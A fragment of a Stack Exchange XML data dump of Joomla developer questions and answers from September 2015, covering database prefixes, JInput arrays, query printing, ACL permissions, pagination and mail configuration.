  <row Id="13636" PostTypeId="2" ParentId="13582" CreationDate="2015-09-17T08:24:08.590" Score="0" Body="&lt;p&gt;You need to also add a record to joomla_content_frontpage. With the ordering its easiest to do this in the frontpage manager, but if you need to do it programatically, you need to check where you want it in the order and change other items around accordingly&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2015-09-17T08:24:08.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13637" PostTypeId="1" AcceptedAnswerId="13638" CreationDate="2015-09-17T09:41:09.683" Score="1" ViewCount="780" Body="&lt;p&gt;I am pretty new to Joomla, and I'm stuck! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to access the Joomla DB from a PHP script, using the JFactory::getDBO(); method. I noticed all my queries were returning '0' results, even though the SQL looks fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then noticed that &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;echo &quot;Database prefix is : &quot; . $db-&amp;gt;getPrefix();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Database prefix is : jos_&quot;. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My DB Prefix should be - &quot;wvfd_&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the part of code that initializes joomla: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    define( '_JEXEC', 1 );&#xA;&#xA;    define( 'DS', DIRECTORY_SEPARATOR );&#xA;&#xA;    define( 'JPATH_BASE', realpath(dirname(__FILE__).DS.'..' ));&#xA;&#xA;&#xA;    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;    $mainframe =&amp;amp;JFactory::getApplication('site');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked in the Joomla backend, and the prefix is set correctly. I have checked configuration.php, and it is set correctly in there too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is $db = JFactory::getDBO(); connecting me to a DB that does not exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All/Any help appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="6935" LastActivityDate="2015-09-17T10:06:28.087" Title="Joomla JFactory::getDBO() - Prefix is wrong?" Tags="|jdatabase|jfactory|external-script|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13638" PostTypeId="2" ParentId="13637" CreationDate="2015-09-17T10:06:28.087" Score="1" Body="&lt;p&gt;To get your db prefix, you need to create object of Jconfig class(configuration file). Let us suppose you are creating a file connectivity.php and place it root. And the code in that file would be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once ('configuration.php' );&#xA;&#xA;    $var_cls = new JConfig();&#xA;    $connlink = mysql_connect($var_cls-&amp;gt;host, $var_cls-&amp;gt;user, $var_cls-&amp;gt;password) or die(&quot;Connection Failure to Database&quot;);&#xA;    mysql_select_db($var_cls-&amp;gt;db, $connlink);&#xA;&#xA; return $db_prefix = $var_cls-&amp;gt;dbprefix;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$db_prefix will give you the correct prefix of your db.&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-09-17T10:06:28.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13639" PostTypeId="2" ParentId="12323" CreationDate="2015-09-17T10:49:03.007" Score="1" Body="&lt;p&gt;You can check out this commercial extension for K2 that does search results by extrafields and much more. See &lt;a href=&quot;http://getk2.org/extend/extensions/183-k2filter&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; or another one &lt;a href=&quot;http://www.joomlart.com/joomla/extensions/ja-k2-search&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6936" LastActivityDate="2015-09-17T10:49:03.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13640" PostTypeId="1" CreationDate="2015-09-17T11:11:18.913" Score="3" ViewCount="142" Body="&lt;p&gt;The question is really simple: Can I use the standard paginator to paginate data that doesn't come from the main database? For example, to paginate an array, a file, or data fetched without using JDatabase?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's possible, how can I do this?&lt;/p&gt;&#xA;" OwnerUserId="2123" LastActivityDate="2015-09-17T14:01:24.337" Title="How can I use JPaginator without database?" Tags="|joomla-3.x|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13641" PostTypeId="1" CreationDate="2015-09-17T13:25:13.910" Score="3" ViewCount="1032" Body="&lt;p&gt;I've got an annoying problem and can't solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to create a lower-level admin access in my website backend, which can only create and edit articles.&#xA;I started creating a new group (Admin Users), and assign it &quot;Special&quot; and &quot;Super Users&quot; Access Levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After i gave to this group some permission:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From &quot;Global Configuration&quot;: &quot;Administration Access&quot;&lt;/li&gt;&#xA;&lt;li&gt;From &quot;Content&quot; component: &quot;Administration Access&quot;, &quot;Create&quot;, &quot;Delete&quot;, &quot;Edit&quot;, &quot;Edit State&quot; and &quot;Edit Own Elements&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(My backend language is Italian, so there can be some different names of options).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm trying to create a new article there aren't any &quot;Save&quot; button, and can't select &quot;State&quot; and &quot;Category&quot;... see the image below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4IuiB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4IuiB.png&quot; alt=&quot;Create New Article Area&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you got an idea about solving this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearing browser cache, restart and login can't solve this problem.&#xA;Alle plugins are up to date and Joomla release is 3.4.4&lt;/p&gt;&#xA;" OwnerUserId="6939" LastEditorUserId="1629" LastEditDate="2015-09-17T14:10:19.183" LastActivityDate="2016-04-14T18:31:51.727" Title="Users can't save new article in backend (buttons does not show)" Tags="|administrator|com-content|acl|administration|article-manager|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13642" PostTypeId="2" ParentId="13640" CreationDate="2015-09-17T14:01:24.337" Score="5" Body="&lt;p&gt;I think it is posible. althoug I have not done if before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination uses as parameters the total number of records that in your case is the array count, the limitstart (index where to start), and the page size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example in one of my models to get the pagination object&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getPagination()&#xA;{&#xA;&#xA;    if (empty($this-&amp;gt;_pagination)) {&#xA;        jimport('joomla.html.pagination');&#xA;            $this-&amp;gt;_pagination = new JPagination($this-&amp;gt;getTotal(), $this-&amp;gt;getState('limitstart'),$this-&amp;gt;getState('limit') );&#xA;        }&#xA;    return $this-&amp;gt;_pagination;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sustitute $this-&gt;getTotal() for array count and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, on the function to retrieve the data you should have and equivalent funciotn to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rows = $this-&amp;gt;_getList($query, $this-&amp;gt;getState('limitstart'), $this-&amp;gt;getState('limit'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get the information from your structure&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-17T14:01:24.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13643" PostTypeId="2" ParentId="13641" CreationDate="2015-09-17T14:36:40.387" Score="1" Body="&lt;p&gt;You can check the permission of your new created group for this action:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu System &gt;&gt; Global Configuration &gt;&gt; Articles &gt;&gt;&#xA;Tab &quot;Permissions&quot; &gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click in your new created group (in this example was &quot;manager&quot;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the permissions for your new created group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YD2vc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YD2vc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-09-17T14:36:40.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13644" PostTypeId="2" ParentId="13598" CreationDate="2015-09-17T15:24:08.423" Score="1" Body="&lt;p&gt;I am not aware of any extension to suggest that would do this. You would need to AJAX-ify the whole website/process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why you would need to do this and what would be the advantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There could be some workarounds though, and here is a brief description of possible implementation. But keep in mind, that it might not be applicable or the right solution, as this depends on many things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could create a small content plugin. Then in the same article you could write the content for the 2 languages, each one inside certain tags for being recognizable by your plugin, e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{english}english text here...{/english}&#xA;&#xA;{italian}italianos text here...{/italian}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could instruct the plugin to wrap each language's content with a div that will have a special id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would also need to inject your checkboxes in each article page, and with some javascript you would be toggling the display of each language's div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you could use a javascript cookie, to save user's selection for other articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, here are the downsides of the above suggestion:&#xA;You actually don't have a fully multilingual website, as :&#xA; - Metadata of the page will still be in one of the 2 languages.&#xA; - Both languages content will be in the same page.&#xA; - Modules and anything else system wise will still be under the main language.&#xA; - Not the best for SEO.&#xA; - Maybe not that easy to manage content for 2 different languages.&#xA; - and maybe more....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the above solution could work in a scenario, where you simply want to present the same content to users in both languages with a button click, you don't care about SEO and any of the other downsides.&#xA;e.g. maybe you are creating a page where you want teach italians and want registered users to easily see text from english to italian and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok... the above approach was a quick idea I had considering your question.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-09-17T15:24:08.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13645" PostTypeId="2" ParentId="13614" CreationDate="2015-09-17T15:49:58.587" Score="-1" Body="&lt;p&gt;you need:&#xA;- when create product, you input 2 price from backend (base + sale price)&#xA;- when show from front-end, you check condition and show them: $user-&gt;id&gt;0&lt;/p&gt;&#xA;" OwnerUserId="6940" LastActivityDate="2015-09-17T15:49:58.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13647" PostTypeId="2" ParentId="13489" CreationDate="2015-09-17T18:45:06.677" Score="0" Body="&lt;p&gt;I am not sure how much this is correct but I solved this issue by adding a proxy method in my view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getForm()&#xA;{&#xA;    if (!is_object($this-&amp;gt;form))&#xA;    {&#xA;        $this-&amp;gt;form = $this-&amp;gt;get('Form');&#xA;    }&#xA;&#xA;    return $this-&amp;gt;form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure why the view class is calling getForm method of view instead of model. This is still an unknown question to me. Strange part is &lt;code&gt;$this-&amp;gt;get('Form')&lt;/code&gt; inside this proxy method again invoke method in the model. If anyone has any better solution please let me know, I hate these hacks.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-09-17T18:45:06.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13648" PostTypeId="1" AcceptedAnswerId="13657" CreationDate="2015-09-17T20:44:38.040" Score="2" ViewCount="4086" Body="&lt;p&gt;Maybe it's weary eyes, but I am unable to retrieve a posted array from jInput:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$test1 = $jinput-&amp;gt;get('Itemid');&#xA;$test2 = $jinput-&amp;gt;get(&quot;filter&quot;);&#xA;$test3 = $jinput-&amp;gt;get(&quot;filter['subjects']&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$test1&lt;/code&gt; successfully retrieves the Itemid, but various ways of retrieving 'filter' only ever results in an &lt;em&gt;empty&lt;/em&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JInput Object&#xA;(&#xA;    [options:protected] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [filter:protected] =&amp;gt; JFilterInput Object&#xA;        (&#xA;            [tagsArray] =&amp;gt; Array&#xA;                (&#xA;                )&#xA;&#xA;            [attrArray] =&amp;gt; Array&#xA;                (&#xA;                )&#xA;        )&#xA;    [data:protected] =&amp;gt; Array&#xA;        (&#xA;            [option] =&amp;gt; com_xyz&#xA;            [view] =&amp;gt; titles&#xA;            [Itemid] =&amp;gt; 241&#xA;            [filter] =&amp;gt; Array&#xA;                (&#xA;                    [subjects] =&amp;gt; Array&#xA;                        (&#xA;                            [0] =&amp;gt; 6&#xA;                        )&#xA;                )&#xA;            [limit] =&amp;gt; 25&#xA;            [limitstart] =&amp;gt; 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't mind feeling stupid for an oversight at this point, I'm just tired of fighting with it.  Any assistance is appreciated. :)&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-09-18T13:02:33.707" Title="How to properly get an array from jInput?" Tags="|jinput|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13649" PostTypeId="2" ParentId="9117" CreationDate="2015-09-17T21:14:34.433" Score="0" Body="&lt;p&gt;@zorza Thank you. Removing the quotes was what I needed. I had many menus that were set to not show the menu heading and I wanted them to use the global setting instead. This modification worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `xxx_menu` &#xA;SET params = REPLACE(&#xA;        params,&#xA;        '&quot;show_page_heading&quot;:0',&#xA;        '&quot;show_page_heading&quot;:&quot;&quot;'&#xA;) &#xA;WHERE params LIKE '%&quot;show_page_heading&quot;:0%'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6943" LastActivityDate="2015-09-17T21:14:34.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="1" AcceptedAnswerId="13656" CreationDate="2015-09-17T23:10:48.400" Score="17" ViewCount="29948" Body="&lt;p&gt;Suppose you have constructed a query with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Select all records from the user profile table where key begins with &quot;custom.&quot;.&#xA;// Order it by the ordering field.&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('user_id', 'profile_key', 'profile_value', 'ordering')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__user_profiles'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('profile_key') . ' LIKE '. $db-&amp;gt;quote('\'custom.%\''));&#xA;$query-&amp;gt;order('ordering ASC');&#xA;&#xA;// Reset the query using our newly populated query object.&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load the results as a list of stdClass objects (see later for more options on retrieving data).&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example from here: &lt;a href=&quot;https://docs.joomla.org/Selecting_data_using_JDatabase&quot;&gt;https://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a command to print out the query statement (not the results the but actual SQL)?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="126" LastEditDate="2015-09-22T12:25:18.347" LastActivityDate="2018-12-26T12:29:15.017" Title="How can I print out a Joomla query?" Tags="|joomla-3.x|database|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13652" PostTypeId="2" ParentId="13609" CreationDate="2015-09-18T03:19:08.810" Score="1" Body="&lt;p&gt;You can't use standard Joomla {loadposition} content plugin for this purpose because content preparation occurs much before head data preparations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to write your own Joomla System plugin for the replacement like NoNumber's Module Anywhere plugin which replaces the mos code with the module after head data preparation. To learn more refer to the list of Joomla Plugin events: &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6945" LastActivityDate="2015-09-18T03:19:08.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13653" PostTypeId="1" CreationDate="2015-09-18T06:01:19.390" Score="1" ViewCount="46" Body="&lt;p&gt;I am new to Joomla so dont fully understand what's happening. I have an article that displays using the home page template/theme, whilst other articles display as content pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried placing this article in different categories to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone know how I can have the article appear as a normal page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2015-09-21T14:40:44.743" Title="Article uses home page template. Not sure how to change to article template" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13656" PostTypeId="2" ParentId="13650" CreationDate="2015-09-18T06:29:20.897" Score="23" Body="&lt;p&gt;you need to echo __toString()&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo($query-&amp;gt;__toString());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can fing more info here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/API16:JDatabaseQuery/_toString&quot;&gt;https://docs.joomla.org/API16:JDatabaseQuery/_toString&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-18T06:29:20.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13657" PostTypeId="2" ParentId="13648" CreationDate="2015-09-18T06:35:36.740" Score="3" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app        = JFactory::getApplication();&#xA;$jinput     = $app-&amp;gt;input;&#xA;$filter     = $jinput-&amp;gt;getVar('filter',array());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it works for you&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-18T06:35:36.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="2" ParentId="13648" CreationDate="2015-09-18T08:31:32.333" Score="2" Body="&lt;p&gt;Just been messing around with this a little.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding a blank default value and &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;filter&lt;/a&gt; type as arguments, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$test2 = $jinput-&amp;gt;get('filter', '', 'RAW');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-18T08:31:32.333" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13660" PostTypeId="2" ParentId="13609" CreationDate="2015-09-18T11:08:53.830" Score="0" Body="&lt;p&gt;It's probably easiest to fetch the keywords manually with sql from your module. Something like (if view=article): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app=JFactory::getApplication(); &#xA;$id = $app-&amp;gt;input-&amp;gt;getInt('id', 0); &#xA;$db=JFactory::getDbo(); &#xA;$db-&amp;gt;setQuery(&quot;select metakey from #__content where id={$id}&quot;);&#xA;$keywords=$db-&amp;gt;loadResult(); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="360" LastActivityDate="2015-09-18T11:08:53.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13661" PostTypeId="1" CreationDate="2015-09-18T11:50:14.987" Score="0" ViewCount="802" Body="&lt;p&gt;My customer purchased hosting and email accounts (info@mycompany.com) at hostgator. The new project that I have to upload to his hostgator is sending emails from info@mycompany.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question: can send those emails without knowing the password since he doesn't want to tell me the password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He argues that there is currently a hosted project which is sending emails without knowing the password. I could not believe that, so I have checked the current project's config file and found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $display_offline_message = '1';&#xA;public $offline_image = '';&#xA;public $sitename = ' My Company';&#xA;public $editor = 'tinymce';&#xA;public $captcha = 'recaptcha';&#xA;public $list_limit = '20';&#xA;public $access = '1';&#xA;public $debug = '0';&#xA;public $debug_lang = '0';&#xA;public $dbtype = 'mysql';&#xA;public $host = 'localhost';&#xA;public $user = '*******';&#xA;public $password = '*******';&#xA;public $db = '*******';&#xA;public $dbprefix = '*****_';&#xA;public $live_site = '';&#xA;public $secret = 'fasdfadfsf';&#xA;public $gzip = '0';&#xA;public $error_reporting = 'default';&#xA;public $helpurl = 'http://help.joomla.org/proxy/index.php?option=com_help&amp;amp;keyref=Help{major}{minor}:{keyref}';&#xA;public $ftp_host = '127.0.0.1';&#xA;public $ftp_port = '21';&#xA;public $ftp_user = 'admin';&#xA;public $ftp_pass = '*****';&#xA;public $ftp_root = '';&#xA;public $ftp_enable = '0';&#xA;public $offset = 'Europe/Madrid';&#xA;public $mailer = 'mail';&#xA;public $mailfrom = 'contacto@mycompany.com';&#xA;public $fromname = 'My Company';&#xA;public $sendmail = '/usr/sbin/sendmail';&#xA;public $smtpauth = '0';&#xA;public $smtpuser = '';&#xA;public $smtppass = '';  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; I expected the password here&#xA;public $smtphost = 'localhost';&#xA;public $smtpsecure = 'none';&#xA;public $smtpport = '25';&#xA;public $caching = '0';&#xA;public $cache_handler = 'file';&#xA;public $cachetime = '15';&#xA;public $MetaDesc = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is it true the current project doesn't know the password? Or if the password maybe written in another file?&lt;/p&gt;&#xA;" OwnerUserId="6949" LastEditorUserId="1629" LastEditDate="2015-09-18T17:31:13.057" LastActivityDate="2015-09-18T17:44:07.403" Title="Is possible sending emails without knowing the password?" Tags="|emails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13662" PostTypeId="2" ParentId="13648" CreationDate="2015-09-18T13:02:33.707" Score="3" Body="&lt;p&gt;I misread or misunderstood the documentation of &lt;code&gt;$jinput-&amp;gt;getArray()&lt;/code&gt;.  I understood this to return a subset of the input variables, as specified in an array of the variables you're interested in.  While this may be true, it will also return &lt;em&gt;all&lt;/em&gt; input variable if an empty array is supplied: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$allfields = $jinput-&amp;gt;getArray(array())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-09-18T13:02:33.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13664" PostTypeId="1" AcceptedAnswerId="13665" CreationDate="2015-09-18T14:38:39.070" Score="1" ViewCount="387" Body="&lt;p&gt;I've been tasked with extending the normal Search Options (created with Component Creator, if it matters) to be located on the left of the page, and include a long list of various checkboxes to filter the search - a common feature of large ecommerce sites.  I've created a series of custom Joomla input fields that render the checkboxes just as expected, and the filtering itself actually works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the &lt;strong&gt;Clear Search&lt;/strong&gt; button doesn't clear the checked boxes.  The custom form field is in the form's XML, and is included in &lt;code&gt;$config['filter_fields']&lt;/code&gt; of the model, and works as a filter just as expected.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there an additional entry somewhere that I need to address for Clearing to work?  I can't see anything that is being posted that triggers anything, only a class on the button &lt;code&gt;js-stools-btn-clear&lt;/code&gt;, that gets used in  &lt;code&gt;jquery.searchtools.js&lt;/code&gt;, and that's where my trail goes cold.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut tells me that javascript is clearing the &lt;code&gt;val&lt;/code&gt; of the filter fields somewhere/somehow, and the core code isn't equipped to clear an array of checkboxes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or ideas would be appreciated. :)&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-09-18T14:52:12.173" LastActivityDate="2015-09-18T15:07:53.353" Title="How to properly add a series of checkboxes to Search Options?" Tags="|jquery|search|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="2" ParentId="13664" CreationDate="2015-09-18T15:07:53.353" Score="1" Body="&lt;p&gt;I've not done this before so this could be the wrong approach, but will give it a shot anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the default &lt;strong&gt;clear&lt;/strong&gt; button for filters, it contains the following &lt;code&gt;onclick&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;document.getElementById('filter_search').value='';this.form.submit();&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this does is empties the input field, then resets the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as you have checkboxes, you can also clear them, then reset the form, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function resetCheckboxes(source) &#xA;{&#xA;    checkboxes = document.getElementsByName(&quot;somename&quot;);&#xA;&#xA;    for (var i=0, n=checkboxes.length; i&amp;lt;n; i++) &#xA;    {&#xA;        checkboxes[i].checked = source.checked;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkboxes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;somename&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;somename&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;somename&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Button:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onclick=&quot;resetCheckboxes('this'); document.getElementById('filter_search').value='';this.form.submit();&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This above is of course assuming your checkboxes are using the same &lt;code&gt;name=&quot;&quot;&lt;/code&gt;, which in the case I've provided, is &lt;code&gt;somename&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-18T15:07:53.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
